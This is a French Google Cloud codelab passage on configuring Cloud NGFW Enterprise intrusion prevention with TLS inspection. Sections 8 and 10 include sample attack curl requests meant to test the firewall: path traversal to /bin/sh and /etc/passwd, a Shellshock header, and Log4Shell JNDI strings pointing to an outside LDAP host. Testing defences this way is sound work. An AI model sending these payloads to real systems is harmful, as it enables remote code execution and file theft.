1. Introduction
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall est un service de pare-feu entièrement distribué offrant des fonctionnalités de protection avancées, une microsegmentation et une couverture omniprésente pour protéger vos charges de travail Google Cloud contre les attaques internes et externes.
Cloud NGFW présente les avantages suivants :
- Service de pare-feu distribué : Cloud NGFW fournit une application basée sur l'hôte entièrement distribuée avec état pour chaque charge de travail afin d'offrir une architecture de sécurité zéro confiance.
- Configuration et déploiement simplifiés : Cloud NGFW implémente des stratégies de réseau et de pare-feu hiérarchiques pouvant être associées à un nœud de la hiérarchie des ressources. Ces stratégies fournissent une expérience de pare-feu cohérente dans la hiérarchie des ressources Google Cloud.
- Contrôle précis et microsegmentation : la combinaison des stratégies de pare-feu et des tags gérés par IAM (Identity and Access Management) offre un contrôle précis pour le trafic Nord-Sud et le trafic Est-Ouest sur une seule VM dans les réseaux de cloud privé virtuel (VPC) et les organisations.
Cloud NGFW est disponible dans les niveaux suivants :
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise ajoute un service de prévention des intrusions (IPS, Intrusion Prevention Service), une fonctionnalité de couche 7, à la structure distribuée du pare-feu Google Cloud. L'inspection TLS est compatible pour permettre l'inspection du trafic chiffré TLS.
Vous pouvez désormais déployer des inspections fiables de pare-feu nouvelle génération (NGFW) de couche 7 avec des contrôles précis, sans modifier l'architecture de votre réseau ni les configurations de routage.
Pour activer et déployer le contrôle du pare-feu de couche 7 avec IPS, vous devez effectuer les tâches suivantes :
- Créez un ensemble de points de terminaison de pare-feu zonaux gérés par Google Cloud.
- Vous pouvez également créer une règle d'inspection TLS.
- Vous pouvez également créer une configuration de confiance.
- Associez ces points de terminaison aux réseaux de cloud privé virtuel (VPC) où vous avez besoin du service Cloud NGFW Enterprise.
- Modifiez simplement vos règles et stratégies de pare-feu existantes pour spécifier les profils de protection contre les menaces pour les différents chemins de trafic.
Stratégies de pare-feu réseau
Une stratégie de pare-feu réseau fait office de conteneur pour les règles de pare-feu. Les règles définies dans une stratégie de pare-feu réseau ne sont appliquées nulle part tant que la stratégie n'est pas associée à un réseau VPC. Chaque réseau VPC peut être associé à une stratégie de pare-feu réseau. Les stratégies de pare-feu réseau sont compatibles avec les Tags gérés par IAM (ou simplement "Tags") dans les règles de pare-feu. Ces Tags remplacent les tags réseau actuels et peuvent être utilisés pour fournir une identité à la charge de travail.
Le partage d'une stratégie de pare-feu réseau entre plusieurs réseaux et l'intégration avec les Tags gérés par IAM simplifient considérablement la configuration et la gestion des pare-feu.
Avec l'introduction des stratégies de pare-feu réseau, les stratégies de pare-feu de Google Cloud se composent désormais des éléments suivants :
- Stratégie de pare-feu hiérarchique
- Règles de pare-feu VPC
- Stratégie de pare-feu réseau ( mondiale et régionale)
Les stratégies de pare-feu hiérarchiques sont compatibles avec les nœuds d'organisation et de dossier de la hiérarchie des ressources, tandis que les règles de pare-feu VPC et les stratégies de pare-feu réseau sont appliquées au niveau du VPC. Il existe une différence majeure entre les règles de pare-feu VPC et les stratégies de pare-feu réseau : les règles de pare-feu VPC ne peuvent être appliquées qu'à un seul réseau VPC, tandis que les stratégies de pare-feu réseau peuvent être associées à un seul VPC ou à un groupe de VPC, entre autres avantages comme les mises à jour groupées.
Enfin, nous avons également les règles de pare-feu implicites fournies avec chaque réseau VPC :
- Une règle de sortie dont l'action est "allow" et dont la destination est 0.0.0.0/0
- Une règle d'entrée dont l'action est "deny" et la source est 0.0.0.0/0
Par défaut, la séquence d'application est illustrée dans le schéma suivant :

Veuillez noter que l'ordre d'application des règles de pare-feu VPC et de la stratégie de pare-feu réseau mondiale peut être inversé. Les clients peuvent spécifier l'ordre d'application à tout moment avec une commande gcloud.
Tags
Les nouveaux tags intégrés aux règles des stratégies de pare-feu réseau sont des ressources de paires clé-valeur définies au niveau de l'organisation ou du projet dans la hiérarchie des ressources Google Cloud. Un tel tag contient des contrôles des accès IAM qui spécifient qui peut faire quoi sur le tag. Les autorisations Identity and Access Management (IAM) permettent, par exemple, de spécifier les comptes principaux qui peuvent attribuer des valeurs aux tags et ceux qui peuvent associer des tags aux ressources. Si une règle de pare-feu réseau fait référence à un tag, elle doit être appliquée à une ressource pour être appliquée.
Les tags respectent le modèle de ressource d'héritage de Google Cloud, ce qui signifie que les tags et leurs valeurs sont transmis dans la hiérarchie depuis leurs parents. Par conséquent, les tags peuvent être créés à un emplacement, puis utilisés par d'autres dossiers et projets dans toute la hiérarchie de ressources. Pour en savoir plus sur les tags et la restriction des accès, consultez cette page.
Vous ne devez pas confondre les tags avec les tags réseau. Ces derniers sont des chaînes pouvant être ajoutées aux instances Compute Engine. Ils sont associés à l'instance et disparaissent lorsque celle-ci est mise hors service. Les règles de pare-feu VPC peuvent inclure des tags réseau, mais comme ils ne sont pas considérés comme des ressources cloud, ils ne sont pas soumis au contrôle des accès IAM.
Notez que les termes "tags" et "tags régis par IAM" sont utilisés de manière interchangeable dans ce document.
Objectifs de l'atelier
Cet atelier de programmation nécessite un seul projet et la possibilité de créer un réseau VPC, ainsi que de gérer un certain nombre de ressources réseau et de sécurité. Il vous montrera comment Cloud NGFW Enterprise peut fournir des fonctionnalités IPS en :
- Inspecter les flux Internet sortants avec l'inspection TLS
- Inspection des flux intra-VPC (est-ouest) avec l'inspection TLS
Les flux à inspecter seront sélectionnés à l'aide des paramètres de correspondance du pare-feu cloud, y compris le tuple à cinq éléments (adresse IP source, adresse IP de destination, protocole, port source, port de destination) et les tags.

L'état final de la base de règles de la stratégie de pare-feu réseau ressemblera au tableau ci-dessous :
Priorité | Sens | Cible | Source | Destination | Action | Type |
100 | Entrée | Server_Tag | Vérifications de l'état | Tous | Autoriser | Essentials |
200 | Entrée | Client_Tag, Server_Tag | IAP | Tous | Autoriser | Essentials |
800 | Entrée | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | Inspection L7 | Enterprise |
850 | Sortie | Client_Tag | Tous | 10.0.0.0/24 | Autoriser | Essentials |
900 | Sortie | Client_Tag | Tous | Tous | Inspection L7 | Enterprise |
Points abordés
- Découvrez comment créer une stratégie de pare-feu réseau.
- Découvrez comment créer et utiliser des tags avec une stratégie de pare-feu réseau.
- Configurer et utiliser Cloud NGFW Enterprise avec l'inspection TLS
Prérequis
- Projet Google Cloud.
- Connaissances en matière de déploiement d'instances et de configuration de composants réseau.
- Connaissances sur la configuration des pare-feu VPC.
2. Avant de commencer
Créer/Mettre à jour des variables
Cet atelier de programmation utilise des $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.
Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets selon vos besoins :
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. Activer les API
Si vous ne l'avez pas déjà fait, activez les API :
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Création de points de terminaison Cloud NGFW Enterprise
La création du point de terminaison Cloud NGFW Enterprise prenant environ 20 minutes, il sera créé en premier. La configuration de base peut être effectuée en parallèle pendant la création du point de terminaison.
Créez le profil de sécurité et le groupe de profils de sécurité :
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Résultat attendu :
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Vérifiez que les ressources ont bien été créées :
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Créez le point de terminaison Cloud NGFW Enterprise :
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Exécutez la commande ci-dessous pour vérifier que le point de terminaison est en cours de création (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Vous pouvez éventuellement exécuter la commande ci-dessous pour obtenir plus de détails :
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Résultat attendu :
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
La création prend environ 20 minutes. Passez à la section "Configuration de base" pour créer les ressources requises en parallèle.
5. Configuration de base
Réseau et sous-réseau VPC
Réseau et sous-réseau VPC
Créez le réseau et le sous-réseau VPC :
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Créez le routeur Cloud Router et la passerelle Cloud NAT :
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instances
Créez les instances de client et de serveur Web :
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
Tags au niveau du projet
Attribuez l'autorisation tagAdmin à l'utilisateur si nécessaire :
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Créez la clé et les valeurs de tag au niveau du projet :
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Associez les tags aux instances :
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Stratégie de pare-feu de réseau au niveau mondial
Créez une stratégie de pare-feu de réseau au niveau mondial :
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Créez les règles Cloud Firewall Essentials requises pour autoriser le trafic provenant des plages health-check et identity-aware proxy :
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
Créez les règles Cloud Firewall requises pour autoriser le trafic entrant est-ouest/intrasous-réseau à partir des plages spécifiques (ces règles seront mises à jour pour activer Cloud NGFW Enterprise avec l'inspection TLS) :
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Associez la stratégie de pare-feu cloud au réseau VPC :
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Association de point de terminaison de pare-feu cloud
Définissez les variables d'environnement si vous ne l'avez pas encore fait et/ou si vous préférez l'approche par script.
Vérifiez que le point de terminaison Cloud Firewall a bien été créé. Ne passez à l'étape suivante que lorsque l'état est ACTIF (pendant la création, l'état attendu est EN COURS DE CRÉATION) :
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Vous pouvez éventuellement exécuter la commande ci-dessous pour obtenir plus de détails :
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Résultat attendu :
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Associez le point de terminaison Cloud Firewall au réseau VPC :
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
L'association prend environ 10 minutes. Ne passez à la section TLS que lorsque l'état est ACTIVE (l'état attendu lors de la création est CREATING) :
gcloud network-security firewall-endpoint-associations list
Résultat attendu une fois l'opération terminée :
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
Vous pouvez éventuellement exécuter la commande ci-dessous pour obtenir plus de détails :
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Résultat attendu :
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. Configurer les ressources TLS
Créez un pool d'autorités de certification. Cette ressource sera utilisée pour héberger le certificat de l'autorité de certification racine que nous générons pour NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Créez l'autorité de certification racine. Il s'agit du certificat d'autorité de certification qui sera utilisé pour signer des certificats supplémentaires pour les demandes via NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Si le message ci-dessous s'affiche, répondez y :
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Créez un compte de service. Ce compte de service sera utilisé pour demander des certificats pour NGFW Enterprise :
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Définissez les autorisations IAM pour le compte de service :
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Créez le fichier YAML de la règle TLS. Ce fichier contient des informations sur les ressources spécifiques :
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Importez la règle d'inspection TLS :
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Mettez à jour l'association de points de terminaison pour activer TLS :
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Obtenez le certificat CA et ajoutez-le au magasin CA du client :
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Transférez le certificat CA au client :
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Connectez-vous en SSH à la VM, déplacez le certificat CA vers /usr/local/share/ca-certificates et mettez à jour le magasin de certificats CA :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Quittez pour revenir à Cloud Shell.
Processus de signature du certificat de serveur :
Dans Cloud Shell, installez la bibliothèque de cryptographie Pyca à l'aide de la commande pip :
pip install --user "cryptography>=2.2.0"
Pour permettre au SDK Cloud de Google d'utiliser la bibliothèque de cryptographie Pyca, vous devez activer les packages de site.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Créez le certificat de serveur :
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Cela générera un fichier cert.pem et key.pem dans Cloud Shell. Transférez ensuite le certificat et la clé sur le serveur.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Connectez-vous en SSH au serveur pour mettre à jour les informations du certificat pour Apache :
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Déplacez le certificat et la clé dans un dossier spécifique :
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
Mettez à jour la configuration SSL pour utiliser un certificat signé :
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Redémarrez Apache :
sudo systemctl restart apache2
Vérifiez l'état d'Apache :
sudo systemctl status apache2
Il doit être actif (en cours d'exécution).
Quittez la VM et continuez sur Cloud Shell.
8. Valider la connectivité Nord/Sud et Est/Ouest
Exécutez les commandes ci-dessous dans Cloud Shell et notez les adresses IP cibles à utiliser :
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Ouvrez un nouvel onglet et lancez une connexion SSH à la VM cliente via IAP (vous devrez définir les variables dans le nouvel onglet) :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Exécutez les commandes ci-dessous et notez les adresses IP cibles à utiliser. Créez les variables en remplaçant les valeurs entre crochets par les adresses IP notées à l'étape précédente et assurez-vous qu'elles sont accessibles :
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Exécutez une requête cURL sur l'adresse IP privée et assurez-vous qu'elle est accessible :
curl https://$target_privateip --max-time 2
Résultats attendus pour la requête curl :
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
Envoyez des exemples d'attaques à l'adresse IP. Le serveur Web doit répondre à toutes les requêtes, en confirmant qu'aucune inspection/prévention L7 n'est en place :
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Exemple de résultats attendus (adresse IP privée) :
400 404 400 200 200
De même, envoyez des requêtes à une destination Internet :
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Exemple de résultats attendus (destination Internet) :
400 404 400 403 403
Quittez le terminal de la VM et revenez à Cloud Shell.
9. Créer et mettre à jour des règles de pare-feu pour l'inspection TLS
Auparavant, nous avons configuré une règle de pare-feu pour autoriser le trafic entrant vers notre serveur à partir du sous-réseau interne. Nous allons maintenant mettre à jour les règles d'entrée existantes et définir l'action sur apply_security_profile_group. Cela activera l'inspection L7 E/W avec TLS :
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Créez une règle pour inspecter l'inspection L7 vers le nord avec TLS.
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Créez une règle pour autoriser la SORTIE pour E/W afin d'éviter une double inspection.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Valider l'inspection TLS vers le Nord
Revenez à l'onglet de la VM cliente ou reconnectez-vous :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envoyez les exemples d'attaques vers une destination Internet :
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Aucune réponse n'est reçue conformément au résultat attendu ci-dessous, ce qui confirme que les exemples d'attaques sont désormais bloqués :
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Définissez la variable sur l'adresse IP du serveur utilisée précédemment :
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Envoyez des exemples de requêtes TLS au serveur :
curl https://$target_privateip --max-time 2
Résultat attendu :
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Pourquoi cette demande a-t-elle échoué ? En effet, le pare-feu reçoit un certificat du serveur qui n'est pas fiable. Dans ce cas, il renverra un certificat autosigné au client. Nous devons ajouter le certificat CA dans une configuration de confiance pour activer la confiance.
Revenez à Cloud Shell.
11. Configurer une configuration de confiance
Obtenez le certificat CA racine et définissez-le comme variable avec la mise en forme appropriée.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Configurez le fichier YAML de configuration de la confiance. Ce fichier contient des informations de confiance telles que les certificats d'autorité de certification :
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
Les commandes ci-dessus incluaient votre certificat CA racine dans le magasin de confiance, car votre certificat de serveur a été signé à l'aide de la CA racine. Cela signifie que le pare-feu fera confiance à tous les certificats qu'il recevra et qui auront été signés par votre autorité de certification racine, en plus des autorités de certification publiques si votre règle TLS a la valeur "false" pour excludePublicCaSet.
Vérifiez le contenu de la configuration de confiance.
cat trust_config.yaml
Exemple de résultat :
Portez une attention particulière à l'alignement de l'indentation du certificat. Il doit respecter exactement ce format.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
Importez la configuration de confiance :
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
Mettez à jour le fichier YAML de la règle TLS pour inclure la configuration de confiance :
